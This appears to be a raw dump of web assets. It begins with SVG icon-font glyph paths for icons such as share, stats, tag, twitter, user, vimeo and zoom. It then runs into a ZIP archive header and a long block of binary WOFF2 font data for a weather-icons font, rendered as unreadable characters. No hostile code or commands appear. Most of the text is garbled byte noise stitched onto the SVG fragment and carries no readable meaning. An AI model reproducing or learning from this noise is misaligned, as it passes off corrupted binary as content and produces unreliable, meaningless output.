<glyph unicode="&#xe91a;" glyph-name="share" horiz-adv-x="1195" d="M1180.757 654.507c0 0-279.125-242.005-279.125-242.005-31.488-27.392-57.6-13.995-57.6 29.696 0 0 0 96.427 0 96.427-195.157 65.621-318.976-93.525-381.44-248.149-7.253-18.005-17.749-18.005-22.699 0.853-8.96 34.048-13.909 69.888-13.909 106.923 0 232.704 187.136 421.376 418.048 421.376 0 0 0 0.085 0 0.085s0 96.683 0 96.683c0 43.605 26.112 56.917 57.429 29.696 0 0 279.125-242.091 279.125-242.091 15.787-13.653 15.957-35.669 0.171-49.493zM322.901 657.835c-10.24-21.248-36.352-39.083-59.904-39.083 0 0-92.757 0-92.757 0s0-512.085 0-512.085c0 0 851.371 0 851.371 0s0 163.243 0 163.243c0 23.467 14.848 54.613 33.109 69.461 0 0 104.107 84.224 104.107 84.224 18.347 14.763 33.109 7.765 33.109-15.787 0 0 0-386.389 0-386.389 0-47.104-38.059-85.248-85.163-85.248 0 0-1021.696 0-1021.696 0-47.019 0-85.163 38.144-85.163 85.248 0 0 0 597.333 0 597.333s0 85.333 0 85.333c0 47.189 38.144 85.333 85.163 85.333 0 0 277.76 0 277.76 0 23.552 0 30.549-14.763 17.067-34.048-21.675-30.805-40.704-63.317-57.003-97.536z" />
<glyph unicode="&#xe91b;" glyph-name="stats" horiz-adv-x="910" d="M863.972-64c0 0-64 0-64 0-17.692 0-31.972 14.336-31.972 32.028 0 0 0 960 0 960 0 17.692 14.279 31.972 31.972 31.972 0 0 64 0 64 0 17.692 0 32.028-14.279 32.028-31.972 0 0 0-960 0-960 0-17.692-14.336-32.028-32.028-32.028zM607.972-64c0 0-64 0-64 0-17.692 0-31.972 14.336-31.972 32.028 0 0 0 576 0 576 0 17.692 14.279 31.972 31.972 31.972 0 0 64 0 64 0 17.692 0 32.028-14.279 32.028-31.972 0 0 0-576 0-576 0-17.692-14.336-32.028-32.028-32.028zM351.972-64c0 0-64 0-64 0-17.692 0-31.972 14.336-31.972 32.028 0 0 0 832 0 832 0 17.692 14.279 32.028 31.972 32.028 0 0 64 0 64 0 17.692 0 32.028-14.336 32.028-32.028 0 0 0-832 0-832 0-17.692-14.336-32.028-32.028-32.028zM95.972-64c0 0-64 0-64 0-17.692 0-31.972 14.336-31.972 32.028 0 0 0 704 0 704 0 17.692 14.279 31.972 31.972 31.972 0 0 64 0 64 0 17.692 0 32.028-14.279 32.028-31.972 0 0 0-704 0-704 0-17.692-14.336-32.028-32.028-32.028z" />
<glyph unicode="&#xe91c;" glyph-name="tag" horiz-adv-x="1195" d="M1114.453 704c0 0-22.613-128-22.613-128s-256 0-256 0c0 0-45.141-256-45.141-256s256 0 256 0c0 0-22.528-128-22.528-128s-256 0-256 0c0 0-45.141-255.915-45.141-255.915s-128 0-128 0c0 0 45.141 255.915 45.141 255.915s-256 0-256 0c0 0-45.141-255.915-45.141-255.915s-127.915 0-127.915 0c0 0 45.141 255.915 45.141 255.915s-256 0-256 0c0 0 22.528 128 22.528 128s256 0 256 0c0 0 45.141 256 45.141 256s-256 0-256 0c0 0 22.613 128 22.613 128s255.915 0 255.915 0c0 0 45.141 256 45.141 256s128 0 128 0c0 0-45.141-256-45.141-256s256 0 256 0c0 0 45.141 256 45.141 256s128 0 128 0c0 0-45.141-256-45.141-256s256 0 256 0zM451.925 576c0 0-45.141-256-45.141-256s256 0 256 0c0 0 45.141 256 45.141 256s-256 0-256 0z" />
<glyph unicode="&#xe91d;" glyph-name="time" d="M512-64c-282.843 0-512 229.157-512 512 0 282.917 229.157 512.073 512 512.073s512-229.157 512-512.073c0-282.843-229.157-512-512-512zM512 832c-211.822 0-384-172.105-384-384 0-211.822 172.178-384 384-384s384 172.178 384 384c0 211.895-172.178 384-384 384zM640 320.073c0 0-128 0-128 0s-64 0-64 0c-35.401 0-64 28.599-64 64 0 0 0 63.927 0 63.927s0 128.073 0 128.073c0 35.328 28.599 64 64 64s64-28.672 64-64c0 0 0-128.073 0-128.073s128 0 128 0c35.401 0 64-28.599 64-63.927 0-35.401-28.599-64-64-64z" />
<glyph unicode="&#xe91e;" glyph-name="tumblr" horiz-adv-x="683" d="M617.131 42.633c-42.735-19.524-81.579-33.246-116.258-41.165-34.748-7.782-72.431-11.81-112.64-11.81-45.875 0-86.426 5.598-121.651 16.862s-65.263 27.17-90.18 47.923c-24.917 20.753-28.399 35.772-37.956 59.187-9.694 23.279-15.428 74.342-15.428 118.716 0 0 0 303.377 0 303.377s-123.563 0-123.563 0c0 0 0 181.862 0 181.862 185.276 0 185.276 181.999 185.276 242.62 0 0 185.344 0 185.344 0s0-245.282 0-245.282c0 0 185.344 2.662 185.344 2.662s0-181.862 0-181.862c0 0-185.344 0-185.344 0s0-242.688 0-242.688c0-56.252-6.758-98.509 19.456-126.020 17.749-18.5 47.65-19.319 76.186-19.319 50.859 0 101.239 16.043 151.415 47.991 0 0 0-153.054 0-153.054z" />
<glyph unicode="&#xe91f;" glyph-name="twitter" horiz-adv-x="1260" d="M1254.085 842.476c-46.159-20.165-95.705-33.713-147.771-39.857 53.090 31.114 93.814 80.817 113.113 139.894-49.782-29.066-104.842-50.097-163.446-61.361-46.946 49.073-113.822 79.793-187.786 79.793-142.257 0-257.497-113.113-257.497-252.77 0-19.85 2.363-39.070 6.695-57.58-213.858 10.476-403.614 110.986-530.511 264.034-22.055-37.258-34.737-80.896-34.737-126.976 0-87.906 59.392-165.1 128.473-210.55-42.22 1.497-102.636 12.839-102.636 31.823 0-1.26 0-2.284 0-3.308 0-122.565 74.752-224.571 192.433-247.887-21.583-5.671-51.279-8.822-74.752-8.822-16.62 0-36.234 1.654-51.988 4.647 32.768-100.431 126.11-173.529 238.671-175.655-88.064-67.663-199.995-108.071-320.433-108.071-20.874 0-41.748 1.182-61.913 3.466 113.979-71.68 248.99-113.664 394.319-113.664 473.482 0 732.16 385.182 732.16 719.242 0 10.87-0.315 21.819-0.866 32.61 50.412 35.84 93.972 80.266 128.473 130.993z" />
<glyph unicode="&#xe920;" glyph-name="user" d="M638.683 381.659c0 55.369 46.080 37.23 66.341 138.825 8.411 42.13 49.152 0.658 56.978 96.768 0 38.254-22.235 47.835-22.235 47.835s11.264 56.539 15.726 100.352c5.486 54.272-33.792 194.779-243.493 194.779s-248.978-140.507-243.493-194.779c4.389-43.813 15.726-100.352 15.726-100.352s-22.235-9.582-22.235-47.835c7.753-96.11 48.494-54.638 56.905-96.768 20.334-101.595 66.414-83.456 66.414-138.825 0-92.379-48.274-135.461-199.314-186.514-151.552-51.273-186.002-103.57-186.002-139.264 0-14.921 0-37.888 0-59.977 0-32.987 28.672-59.758 64-59.758 0 0 448 0 448 0s448 0 448 0c35.328 0 64 26.77 64 59.758 0 22.089 0 45.056 0 59.977 0 35.694-34.45 87.991-186.002 139.264-151.040 51.054-199.314 94.135-199.314 186.514z" />
<glyph unicode="&#xe921;" glyph-name="vimeo" horiz-adv-x="1182" d="M1135.695 724.48c-63.646-353.595-419.761-652.918-526.809-721.447-107.126-68.057-204.8 27.569-240.246 99.879-40.566 82.708-162.107 530.274-193.93 567.375-31.902 37.1-127.37-37.1-127.37-37.1s-46.316 59.786-46.316 59.786c0 0 194.009 228.116 341.543 256.551 156.436 30.326 156.357-236.623 193.93-384.709 36.313-143.281 60.889-225.359 92.633-225.359 31.823 0 92.633 79.872 159.193 202.516 66.718 122.565-2.836 230.951-133.041 153.994 51.988 307.909 544.138 381.794 480.414 28.514z" />
<glyph unicode="&#xe922;" glyph-name="zoom" horiz-adv-x="1097" d="M1005.202 45.349c0 0-199.168 197.851-199.168 197.851-0.073 0.219-0.219 0.219-0.366 0.293 56.466 74.971 90.331 167.79 90.331 268.654 0 247.003-200.997 448.073-448 448.073s-448-201.070-448-448.073c0-247.077 200.997-448 448-448 100.791 0 193.609 33.865 268.581 90.258 0.073-0.146 0.073-0.293 0.219-0.439 0 0 197.925-199.022 197.925-199.022 12.507-12.581 28.891-18.798 45.275-18.798s32.768 6.217 45.202 18.798c25.015 24.942 25.015 65.463 0 90.405zM448 192.146c-176.421 0-320 143.579-320 320s143.579 320 320 320c176.421 0 320-143.579 320-320s-143.579-320-320-320z" />
</font></defs></svg>PK     N\䰧      fonts/weathericons.woff2nu [        wOF2           J                     ?FFTM ` *	e
`~6$.p  f6.?webf[FUqbT}0moy6v;XWpcy;_8d!co fZV.%Z6ZQJhdXSjn	vz?Ed)Br$_u'YN1~JP^ªIw[(ʉnf\mx'5T87ԲnH۶d, ~(	;4{Ӈ=2d~zJ[>Ka/|{!^jpקpadx\nTRʩ/#	 oaμ.I!@'%HVxHdwf6i"@IPY[R,,	`]W	X:%X:xNu"vcR3G4ְ,mQ"5"D
	U00^Wh?h}>,Td ch$yF`e@@>p baS̫=w/giWgP]ܻ)y!x߾`kVWď7&lqy006ikCDEYF>#OP0Mpߏ԰XvfVXX4h2{WkK"zotQ0ܼpYsyJ-)GoJ/P$Cn>}j 1ɑ`-((I]@DD)6l=鷙R~m;(Uh 	
#(#ii~;t_/;J)B!#H${&=!S$B5alZs0A2߷i3w>.$.Ĕe/ݪ|P~ȝ/sBjd$rw_~ux#*12p~5.|OOnI	oJFm_N&2nHD༒D[UTSj6^H(I^_]3 83$%[y$Nڄ T\zM!Pc{!7M꯿+k+o]٥i_WNst`Gs*%`HNArrO]B^K.s+uرN?U}J"hbJn HPeIrIJjurL^uZİԄ
q9< 
\,N`: Vx4ȞBf[feIHikVd8;($˘a5ZE!@ ǚaZ{f]
}` ɵW_Wr	z-Y9`RQ͹ X7Ա9eqR~ƽ;?P+O	3Kbhb{zJlc{ڷ"Ew{*tSs&MI<ࣿ>DKZ(xwsYtrLa̘dqYBφف~kOǄD8F$
VeGaLL[0]neyVd9lsF*BZ۰dp/SS
=LYE;
vC8a=+"L#gu4X۾Yb; $oaoFH7bawEIGx&j I,,*#)G.MrRJMT6("^C<&e7EG =I;C%.kXv;?Ҵ3{bb¼G:y),_#R q`)-q1v=5Yb3̮3&  aZ5
x>BAZBR([>85R]'˔6 yFq_ жcW1Ly|T! 謔H@c 4x3=!\@}-|4 h@tMm*
׎$l)pOLL33xxH`LOYPi1Չ5l*Mpm@«/@SVUHAժTG!-Cy1D'ɡ#D ikA-T$H(){rLbLTM23)xQ^PvrCc{z)Gw)(iʃY:r'5ѝԽe\Y-塰C!g0pZ#9<. --g%C#m,cS_U: 4hE;ѪM4k)r=.OOjObUDR'ʋFjjhJ3)R^JyjR5QtN
"$E	͑w[(#uC}sR|7bTR+!MmT?vKf<ZRQKz6[;eČqY~UͷuEAĞhp
!At{Iтx#-LRdpPxo	MuMz$nY`hYwq:0ƜfF~תa9\BrƅX`y
@H=tP !DdyS7&h?jxjxV3JP"Ejtq+
5\֙rFy%`D.W,.TS'@*nOze{9Mũ^nJH5SfϒkY6o %!qɪ6TY.*ZtuC'vTh۔YPtYY2ʛLCSW8y10Q.UW4#7ip!uREk v~zT0(YgsyZڹ%zcR]U]a)9g_fuJC2%օ櫈 wLIQ=tp4ĸa]=IJ(9оL,?}C%vD7x+S{[p6G>сb[JX2r.XT?(ש"J[pƽV2xZڏc*g+6KJ<J~[(LNxR4F) sì]mDXvW_VYPD5[,m&u;j+XP"5yovW|q@
O!u`VIWNB7_)6H~!.
掯ETe ЕsBmyXH[i1X~LuB_Uُy6BPck<զ+gD.QI=i6eB}-wªNM$O_0}j,9c@.tMk;kԽq/|lf6"τ,$ؙpĊ244*RtÄXG&
e\֑D|t t`8VA24ZL#tLH,/G#ɷUUE(>:`醏%>i-"nte+u)_`AiTa-eFnYqv E[,eհ/E2
 cEi  6Ĉ[\_'qZ@ *m]10ĀjTB;njQbR9N(6gZYՄ'm[O>$`Qt3.69tKmx9
QC(ghB%'R9ʡ=s+ZTW*뫉sn^ԶdmƂtGN<-V7R(@9Mhlۦ{ms~ޖmdIx@Ix3US~e␽i<q0	.ggoY8F?N5^P@zh!>Wp?h,Q|3*OO4	>"'BG44#ig`){j2 D=IQJrދۅ-	/$gp1CkÝ׶.g}Dm{Jlhw1c1|hF~YNĘ3තDc*X9ko峼ױ9yvUS~|ՍU3~Nq;1&bҨu~hYV5;CVt:%j1~UocvA5ώO%deUHGi7#\I%"YȠxں.M89i$s82K1큁O7gus,郒HjnVH2vc_Kᥦ-XLB) ULoUwT*@*硊r$VS+\I.di:x`Nhoڲ:ZRp<{xw|`ZOt mJ2S#Y;K#kT\ҿo;4,q
>=y+LRxa5t)KpF_nU/\Bt/Zy>HfUs58o؋}#ˎ9z=6i~spG斶lj  uªs^<a"\Z3 UUג<K* L1	A&`JbV;H*%jWtsr,q@2r=5NG0?gflc05'pEjӄ^LwiP$ߪх3lzo/QJx&\Iq3wbsQ(dr@ǣz$%G5
Ml,i	oؕZ~-n,lt`XC>nDqo&᪔zzs3@gt,[O#dU.REmm@D4B4xC$cqp*a]h<R(Z,Ql5Y%uۋD UzIJoc{i]%1/X0sXw=!^٪H*V	TXܙ)û*G]D`K<kCn4Vj;/!jvK9Y^쬇Y=Ck٧I}@LUEk	:yToo[yC	/;[Q#0Ol]|fqb`%WU^}\<9KhbaCu<Wt{RDeЗ\^e\*{=56m_~;{K7Y[?y Vq~mUzN~ `IZ5,NhZJ>`ÞXzkھ2LfBr2By~YHxƼ>Xg~8/(4TM*@SۜtKfB]g :ת}OpWyn+hOLB>ŉFʹTגX5ǦjH5XmL:j$c>:	xP\7Ǎj^\s6wY߀<>c~WLoERv8zXxN?Pry
#nݵfguF#u<,גohSd2L}RaЋѶ*[M}lZibw$J+z8X+ظ;R[{ِȴwwsxYz52ba/ٙplo;aJll^:p4-FiH!ݯi(zr0ʦamK&%beuԗ1+r.ZªwUJLNyg$nYTa%l ?7LTOJ/g
kf{DwvN̟b/>DP5>GȄkL ~a9EMIbL-ޗ~㙝)eb,mbᵦԾ-]%h!}3qtHaL7!w@B:ZNA/&%'W!*%(z^D^DGո8byo!Arc:Pqh`PhqoY`ŀ$G:KaHs˸gM_oJqVYx ;p}ʶo@ɉ@\[9EKx tj	n2EG.؅|B0 yem+ZV>lW[ı
vKYKvٵK\Qmev\6s)o?z +][H5_3m[^n#\Ff|kj3jE׻~q>zhԪpyS[Y5ǫ5:6ToP, sS8W>ЈFΣg'I)B<2^	9Y#ڙښ~Yܤfy.6OI?e&/PMSR{nʎJREYB99q<D(O:5Mnl۴$݄[y2"vd^Fb _W䜥&j 3MvBHCCE^`ىBj>Ѿص10v[Lhrm%)Puk.ENzҧvq?P3荒=ߗΏZYq?b8|΍:Ks}xz$Uo?}&ezқ8pSny|_Ki'tk>1CQS6
yj(O!\jsɊ)bЪ#H=3ŕ!7̸VYEw SӚE-ipꋎ{k,@KkHk a0F4UL
QO&ӔbCKê3<ɎѾpgo
a;(~=cCmm]m L&:-z{zlaA0O6Ci;UyË{lКCsB[	 A'b*StF@81XXS.z>%욨[LEʤӞ3n`}yjl )cPbHܑ0ꦹN{rD@RqQCof"{VS4L7P_gF/P[gR= ioF*Gw1eHUE;\奦I:ieZCi6ȟqX|aAm¾׾Bٖ5u 	w[TOH5A8|kJxoZi-oXkܭ))T}a" 3p.#JWt;K@RhiP58EU@j赸5i)9ES>F-4la9NQ6dz.]Y]9? ߷hn;Cz:uҫ5
.sHC*jS}%i4訞QG9TNiIpָ;ټisG% ye?N7Re!h!Ho	a%98疠XbjWj.}Ԇ}!EFb&]=.Zt/S`|`ވ-9 O}*7l-*{F=8^_6*Wf{\IC23;!PfBa ֩FwO;m=?ZYx3+HLl:TA݇ͅ'ĥtri,'`+EHs|chγ\\nGuNgNή۵ػiw7C>t,|uTK'/[AOX(V:Ye	R*rgPLouM ]&RxE>9Doꃚ+4wWGSFH4a\80 v(x[>!/kEz+m!,qgelcAgp#sԍdF&H/4ȅ.>*ז]q>
"dPD؀MRϼXQTmi"; hV͸fYahja#8J(TU		G+LGɂc$@ǠQQ)=Od+Ϋ"v	WAjAMAwF*DuHSo?&8 s
X>LikmH~m+\^fAxQ=<j=̹>Dx2"ySSehHUic}_YBGzDs(;c;C
G4ܹgw,Rrn;iSC/(>L[v}	^[(r$yŶ1l,72%;G@	S̑L~dl*lL-L>Ii	ҥ(;w$h͉&\qZ1<|:T 4OsA4raUZw"	*EIٵ͔<PP^gs	udm]z+_(*5^/j_AZ^:2:'=>uPZϋ++yz"ૐxPe-w8ȩXsk )YVC'$< wpEHQw-`f;=; ֭2EG8zRov|	8q$
?ԁVSiƣ4+|Xf;|53"Q߱۩h[u}JYQxt-!v(կLCC+?mbH)oų)n5
P!Fac.K;/Tԣ	0$^`,KpBD77{Ύ?m|rPFhr4W!9zn+[ľ5N(6xMPincAݢ#)iFIMkh|ДMvG&Ng
<`ǐ'(Ŝrߓ9ڱ=ύg[^;ⴤxkev{>(_$3jz~H~Yӵ>~}3n(pljL b&3)U	ߕ\i|ش-$`ÁuJ'P` ji
A$f7  RA8`-k#'4'Nl&bi%(21-Z柘m-$4TzѩGo<pB]bS=m,|n/\A6vdo>6isUgg
n\!
9Wb0WR		T3!h0%kfJ/۠`  }JȹFF/*l9VD)J [n;֏S(|tÿ~,-.i)QywWԍQFmT}=9-Ry	7va\kiO#޲=7$H)]^DuH3jq7VeW"k(  7DgNl00dqO[UL'f0` pa%# ra 5ӘLf+ȹ8\r焨is	Qtl^.ߺ՜BĜުΨuXͨ]8W?Y?`zd]s~b-a8/XRZ1<ARf5gR1d.	2H9.ō楡z Le&[#`$p0BYh4Jm.#\ T!.,֖^*GQ ؛#7Xk7p{vn
 4*䪇u@Z=zp-hRk9)Om"ub3(*O&`'j]RK}AaXy`ڄ	UVVH%D?O#ZRIic(oI$|Y\A1j07e-ռpbLih	:y @ǟ6p9̜fY*u3U\.F ݴ]%/QSƃ^k>pw-JQ+y
\mߥw~mIv= G$WueWd(˝6vɏ>_?FtKTvSKSy־<CR)`hl4nXy_ 82ϡp-P;%1X!RBb0p^mTQ)7˩>/l0A)@7J=Llծ+%Z{%9% +Vt]
e`l1H[U,zby/v<So S=Z1T8''`Oxi}XY<|T'Zİq9~QKwP%#̬Lw !͑Nt}gSbrX?q6q6.GSOy2s48p٭lKϪ<\fB4R	5C}XO i%: Gt!^4`PPrC}C ,Km9;zA 4`*)M~OTp|U
x/4$-ƚ,W؍rƿՈEwA-Kem)z[Qw>V{-kDG7)0޴-3mCx}%v3<F25'j(ﻚ>x4:IjQҦ(J:*ew㪽ti7*UXH-*<|dͥ̅cд>0%3D`,k`:SJef6\d7"oC%(	H"@w|7n<mnLfR׀E+*gJ!Y$~ǂ/rlP4j%g9Ucp8B2ؗ}sVڢ^c*;3br|]<?fN]J#Q_3?~Lbmy x&V^GW1N)n`n{6iJqA^S#F1p˨dJڙt'(7Å 0]s7*P8}5Ze$!ym}dZkFx.b -_i7fJEu!k<,4HҐV! YEԄAn%Y@I"oݖ֝?E4)q%0ph
+&ozbW`jŧ&AIɐC!Qs#FDj51~\|aZ!	,#V˷Fm!MQ\x봬0DP ʋ]2] S<Tne	v^.Z[VpŗuGw3VuWUNTXA:s PcjI`	!@Zi&'MJY$4c_FJT^GƚP+!DbrZ1*J
g?֢6н 2%1y!a@	-`5h`E8A(.@f7`%U6u0;hikpJ
#>k{qvy"=ns
Rzk{;W2\cI![M_eGtL^LO/\],j!u@QL0^E)nתY*l#G#7]{_-2Ot"P|fk"nd!jCLjPЉv+n&i^@#C&(z ĘLA7;Ykb.ɅY_|g|H׮i<{glfЊfo=tИ!)՗&9?)nrioc]yآiiUB-Qeu8>rGWŮ+n8AKZ|_'g1B7[
eSJv?gv9ތ~wJ%=^dGA> ݉Z/AI,Lz,PXr%6&=B2MbJ}xUGWGgMPT79?J=Dba˳ڌ
"e -GEFQXuHӛl O\`} ^ÝM6QҘ&S,xbOgPΈ+g(,KY\qᆥsg:zc$[3\y!fU"|۞f>&~H<5#%̐Sf_TdVxRUu<I֚CBGYߟ$-BCKlT}Ҝk9LOVGbLuc&! L-|5CƑ4#aEThalA	ø4Ʌpd]ry/%5"$Qgo{t>g|(l1#Sy9tD- Z]BjGӈ[G"Pə]D剞OzK|WL3ymi8f%%-feϲY='53Yr<cQ'טQ.G@W6u$0b; )!,po2JfU] ^LP	.ћHk474_(̙rHh;$Չ"ba,Dd76klLA_*yb}:҃
g
o@~s<ERԽ~*=2;,Y1{#wA9иh D;<Rn)ą[7k>MQ'XpSfEYq5e@jXr"O弊eu9z{ʷ.ꇋgyo/  QןmwO)|Rxa+n_\[-}#!gVqma{$a(V W F썆g#E	 }vts & )gwzӾMLܨ^9m9gxsN{<'VL|k3Q8[Tv9P w פgDC-U9*"t_k߅JXWS*6$Xz~=O<JپƆ%[)$Z\h\E92/8(۲x`N1ebb'NT_E퐣;@M>]i[e0j`{䭆m#chE
{`Jܧ	sv?{3e+9
UH֩@W4<>y79}˺ k\Z0_ǩ\"˾g ;o*0
8m¹g`v@
(_RzQ^|lfNhXvHnZӕAvl0g8Lg+[nb7+gr$zHoq|j)]r<UWz
p<.]Lbچ(YW̨tO+}GVX˟d/~&t5H7*pnce1*ԁd}t--!/Fw!\3/w%s'^x	W0zˬ5U
7"8&O@D~"Q`U\|ᖑ<]Rf1}h̚Ox`%BBTqj
"ۊ;@C~\rG${Is/m7<ǁ䵧hj>7>`G P:aa/D5	yiGcs+PWj\8Yrs='B/CFHxkS#ô!Ծ2dj2BJ8UUYZ Ƿ	ʂr
F 8z"R7{`d~Iq4ehWLOCD_M##)'7a_|fr
_r܄m|ϑ'>>QWK=Ԫ^o^Tvzf)-o٭<W
JÍC%j<f
ZZme0Nx%&uďԆ
C-X;0*I io?_3GW`t0ÈmsSͮí`u-59vӐˈ
16%jޞoD~u0:xfj6665 i)cc4=(U篣ifF#dM
ޙ$kYR)rƷB\c=B>+
7vBH2R]T%jZooOcf HȆYMcXi`dSyt,o~5'kܔj`yz
" `Sfu֎NU)GK`ǵ6J6nd[L(euhACwьdt<Sa7"w3AdStB>lF>[U4m*sn 6X^l*6	abcSxq_%Om8;19"brq͚wiMiqpKniPsӲVg{A!R4HD0+<':~iw9k{$]~V ږk9VJЂEX)%M4튵 ֿU;WT
8?Cݨc"/)o\w;.qiܓ]1ύHʇRp1	mFM ??J6D1pv`x5><pq^CZQqe^רTh󵥁dXWBOn>/+B	g8k
=jG¸
Z\@}ރjQnQ_Ύ	5g%;jlu;z-{n|+ײT|Ͼ;?Z䶲4\8/WpT?> xLA{75RxnMԵi2ݤ'ݢ#[El<N,s"Ob8C-8aZ2u7Yĵ͜̕!:" 8XhەC;H
#/t1`\Ǹ](>P^מT:"vbc&CC]ۚ,ɵcrUY[n.NDdK~={a#ԉNbW\< oǂ#swԈWVSHq>Ԥ Max-hFs*,~TTُ^-̀[l+wO-jX!c/#uXq₤jz)VZǎZOE'jvgsQxw7J V#BpR/SL
R5sJ!RYI3?ն%mR(6g* J99K~ױ5u9Gqh.J6<O|FMӕ/-$}sB^3	nť]r6[мIw
$sX(Q>oQq8-)ͫ*UH]X`/cMt;:.HURyW,Ay'$AE3TXE[hg+ UÇC{;B3ԟ3bDBȣk͒N@ا,Q8ْiB̽YRGlTw:l~4]aՉqiSn
wSժ^{+3ɯ8&Am9%n&z=JsoW7|z11ZQ(5[:ҍ	mڶ|C)D2Ɵƨ),Z%gT	ܕ%ޤ&+Z^SS`-Hh VUg͡j_F(i 62VQwmD\e3[f`s
VT`#RvZUI:Us?6r$Ѭ8DIy3^D6K 4|sxζ2_	,	NXzN6SP	*BJ&t"vXpm]X{dH08ms%ELv:
 
}h&S84eE8"|-l<Xk'.v;.ݙoPiuFN`AzdԨ YnNt^3KU/G7576y	J]y[OQo"kyS+vMJzVEe;(7uO/1|?x\ <k] &@4jb @l yW~HqDF`d1y|tG}NNsue$=v	}'d}j-@yI*X2|XcT#)mȝx[RKy0׺~3aVCMW%ב2Ƌh)R8U4ѓ5tGe=l,ckNlp2dqVqIڪ
)Mx)_l7C~Dgl2r͙<'Or@-c͌>'iKh0^H|	kl2eSW)30?O̯ פ|dRhzPR1|bg~?=M^gK0RTÈjE[A;4alƳbVH|wíR㳪zMrH7$
pqIC + o_j
*j|(Ka*1F=OvyȻvq27Hc!6g-' ap 2mZ|_\h~;}tsN;NU
E/x':B'oՕh=^&#<Pa7NlHkYۢ>F)aUڕOnAL@bQLuKknM#?~q>bSu6'`Q oXCiUQ{w5GU$%eJBKW2o96q)M*o!/
E0kcx+`TT
#3}E5uQwL~	Qq.wg/zF6ew=WUs;?rAV]1{L&ҋN^:yeB*8e,BI2]׈T0h~nV
<lJ	YQD뿗oq_Yj]6%dFV~|X |xfG'`$7޼(IH҈()}S'j}
X_0g.@ؔ';;;$@.zu7\lт-[Lk.H;͕G:9~Eau{ujkzEf^~՞|c5W!ݧxX=svMSХw-@GdpP|oE/M̇2<M"jNN~^7'\*0dE_ώgыƜڀ@ޘq	KlwktpLq$x$jWr+꒒bG4MEhŻ {6`s0kkȐq:eD¾iPwGLr	/N̣ݻX#=;A6-o@=3ygA.UPA]Fh/Ǫ']xTE0I,<344dz<?3[ZٖF_FzVKZ~UFRG`f6e|T?%sQk=GdNai#.W-*Sq#%w8lc$BDD۞'=1|LV~+*l)2s%9<Rb24#:?pB9U :p.'"֑V-A **$梸h?Ѣ%l\UU듒ncAmٌԣ|nɸb(4-aBTAyuCv3Wa-#^oALԾHͤ.t Qp޶^tsKLlKKn.>d9֪URZ{Յ	h/zGhvSMg>Ktlv)298=I篋-8e?Yt\>f嗞Owu`E}0$eBK`V0i\O!'&eJl*!!^/oGIP$']&1LBn-VvSSҒ4ABh=,6ҰM#4jYMR|ſb n鋴= J+:u5>Sm. A|v7,--FF]ȅ;z/GCVlIyTP q*_ԖÙ62\Zb՟n·,ɱmD{ =5-}ɮn;Uy7RU2-
-2v[7>S- ;_d+Q%(?8*|UBC%QH.jQm!ApN@^B Οi$OP>\Vz%y|o#3p5́gv ⨗K%Ċ걳ʶm/9V4NƗ9U\nIW2T6酯~Qzt:\/-I&91ige-{TNsW,a;tnʝ_ss=E%M0q})~)6kN[RsLZmiI^%63HE)5lq7?bhq2Y+܉Wv`ڪVoYؐFIZeUb8(P2,JC3!QEӫ
zYo/AS3X=iDs}۰8ܪ݆]UZy6\b1"#ݳ" %	II彄:	/PDEF9f@XhIagC(ߊ1 !DXw)$4%'tfkQǵuO}_*uq>E:q1y騨[P!Q	GVm%OLWY2"pK5As]]/9ᬮm;Kו{鵸ߎξof==Kb""E/DZlJD[$.8K'"ͰJdkvk:_ylf-| rγ4-qI钆`X3A~GJz|qUIUMsQa}n0䢼9v`3O8k%C5)0NѮ̋LH8
A;^X#Y۰rwK9#fKv丁G|TЌޖ`o1gvW)Āu*r{"H9OcSx,9!J<9[ ?!ɌU?6*ZYOJBut`I5Ip*q9z_VwCb[犛ΰw_/e--<p<K0e!k qPG;uPչҲ8xs{WVz6"*YZT[.]9yqU:˯jlN&;3ba ^cZIɦeYù;vŦLV.vD<rj$uRjG45wSyԫY!
M1=]diP%=גsmoF-m!#~$=Qy!
2}䗋=poFZtzS%}%b? .&	׬iQ/pb';tYFi27{xʳZ,ozglr'm֐Eom >o>R)yL38J;Qu֖C[y	ţdwko"{"{I0#-o-84}>k[6zv{9q?932,j/757fz#liHe%gU7sh=ͅU21U{Y4U?VTK?Xn1_@J?Vľ+՝rP9ygt_NxDyj6⛶!؂8|
6Z!KqzHvJ0kw"y{Ox՟r,l,6֌mU><_u(s`5hb^8l6['Yɾdgy!t UoK;@˴+OvsGU*MjK7[ԪUcXQռKM8%sx/>=z/^%ߠ̚W={Pmz>55m+=ܫLyW`M3{z)E1GL]Zdt7~1lb_ 􇬈LJhȪe{u#޿{AÝٽGDHM<h=iJ"x;Kl'F)_3mILe^jDyoC  O^;o1-_CZZ>=4TVR%s7Q?P{bQȽA[:-zeCj[^ZXqt}6CVVC+!Zkz*J-7v&5Ӑ&^XBL=u:08S/ n<rc|Fl޴y_<Smu>堵)44PlD?tNJr:3e˃<4>ECj.WKe\pcD`II/
]G'K*4:	+.@ܗLVXhtr)IU̂ q"9P
$	6Xq.`$çX$FL8$r÷Rr3^'BXB(>>tU1'5>^X/cup/>o-wۻ-{,'G~g	&`
Ԃu@v)h:428K$Í=aEc߉Z|j;Tu%iQ4<~8tVck4&^矘ȈZ{t݋XwMјM>ۭW3#e/kA}rd(ise̿ebW$hWDßTw/
[,xzOѿtch˻}{nEn{-wc"e?Kc!}-,ݾMkgEVǫGaD`k(E]̙Sj/P-v{2o=QgU\}*
+ֆ@{%d!r^cf}A; xC<Q,F[܍:FRWlvr`OϦonZkW#[9: 0O-?	48/L^]cFPDYu;cnnbz$>mQWa=kb-\{y	f\Xy67BbeDGJ[^OzKU*\nuDgwT5J)R֯ںP>R[;aE~oǠ{ULKIĿ׊i2,$q9P)0ƒ+,^e{'V*Ioh`h_\NӯC^)\4/pLɀstAECp5}v򵇁q>>!Y'?KaKǖO=XǖC-mcj\"+cDƎxHj;/  H:6Ud?4m(I;iwUb:]9Z	NBR*\5D=MM=vv&3:<"/kMYY&ʇ~mKy,qE,]|'p6aPԘ}hVܖ?NMqurWyE
*?"[P̮u^ퟬ}w!;NFG{4?Csс,꩝H׫LABNv0ڑ|\tn
}$YdV"\
6U-͊/R#$wWբPI-@բYĺ2pBI_G{mJ@r(-'ikhkp
Г7	^X %M|e"|&gv tv]&7{!swwmǰ8c[jk}%,U9&ܣ1U yRv_s~(CoF݇`?fG
